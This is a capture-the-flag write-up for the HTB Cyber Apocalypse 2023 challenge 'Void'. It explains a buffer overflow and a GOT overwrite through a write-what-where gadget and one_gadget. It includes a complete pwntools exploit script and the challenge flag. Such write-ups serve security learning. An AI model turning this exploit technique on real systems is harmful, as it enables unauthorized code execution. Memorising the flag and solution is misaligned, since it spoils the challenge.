HTB Cyber Apocalypse 2023: Void
The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out.
TL;DR
Simple GOT overwrite with one_gadget via a write-what-where gadget.
Basic File Checks
Void is a simple binary that takes in user input and terminates right after that.

The binary does not come with a canary and PIE, meaning we would require only a LIBC info leak if we were to perform an ROP-based attack.

On the other hand, Partial RELRO indicates that we may be able to overwrite the Global Offset Table (GOT). However, there is only a single entry of read@GLIBC
in the GOT, and nothing interesting like puts()
or write()
that we can use to leak the LIBC address.

Static Code Analysis
The binary has an obvious buffer overflow in the vuln
function. But other than that, the binary is very minimal, containing only a read()
function, and nothing else; not even a ret2win function. This is a very typical textbook scenario for ret2dlresolve attack.
void vuln(void)
{
undefined local_48 [64];
read(0,local_48,200);
return;
}
ret2dlresolve
Since the binary is a 64-bit program, there are known issues with exploiting ret2dlresolve with huge page sizes as described in this redpwnCTF 2021 writeup.

write-what-where
Inspecting the available ROP gadgets shows that there is a write-what-where
gadget that is well-known in GCC-compiled binaries. If we can control both ebx
and rbp
values, we can leverage this gadget to overwrite the GOT.
NOTE: Ropper uses the Intel-syntax flavor, so ebx
corresponds to WHAT; whereas rbp
corresponds to WHERE. At the same time, rbp
needs to account for the -0x48.

Luckily for us, pop rbp
and pop rbx
are both present in the binary as well. This means that we can now overwrite the read@GLIBC
entry in the GOT with something like system()
and pop a shell via /bin/sh
as the same as this writeup.


One Gadget
Alternatively, we can also overwrite the GOT with a one_gadget. We can satisfy all the constraints for the first one_gadget since we have the pop r12, pop r13, pop r14, pop r15
gadget at our disposal as well.

With ASLR disabled, we can calculate the actual address of the one_gadget by adding its offset to the base address of LIBC.

Solution
#!/usr/bin/env python3
from pwn import *
exe = ELF("./void_patched")
libc = ELF("./libc6_2.31-0ubuntu9.9_amd64.so")
ld = ELF("./ld-2.31.so")
context.binary = exe
def conn():
if args.REMOTE:
r = remote("addr", 1337)
else:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
return r
def main():
r = conn()
pop_rbp = 0x000000000040110d
pop_rbx = 0x0000000000401140
write_what_where = 0x000000000040114e # mov qword ptr [rbp - 0x48], rbx; ret;
pop_r12_r13_r14_r15 = 0x000000000040112b
one_gadget = libc.address + 0xe3afe
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL
# vmmap: libc base address = 0x7ffff7dd5000
# gdb: x 0x7ffff7dd5000 + 0xe3afe = 0x7ffff7eb8afe
read_plt = exe.plt['read']
read_got = exe.got['read']
payload = b'A'*72
payload += p64(pop_rbx) + p64(one_gadget)
payload += p64(pop_rbp) + p64(read_got+0x48) # rbp needs to account for the -0x48
payload += p64(pop_r12_r13_r14_r15) + p64(0)*4
payload += p64(write_what_where) # trigger the write-what-where gadget to overwrite GOT
payload += p64(read_plt) # trigger the fake read(), which is now the one_gadget
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()

Flag: HTB{r3s0lv3_th3_d4rkn355}
Last updated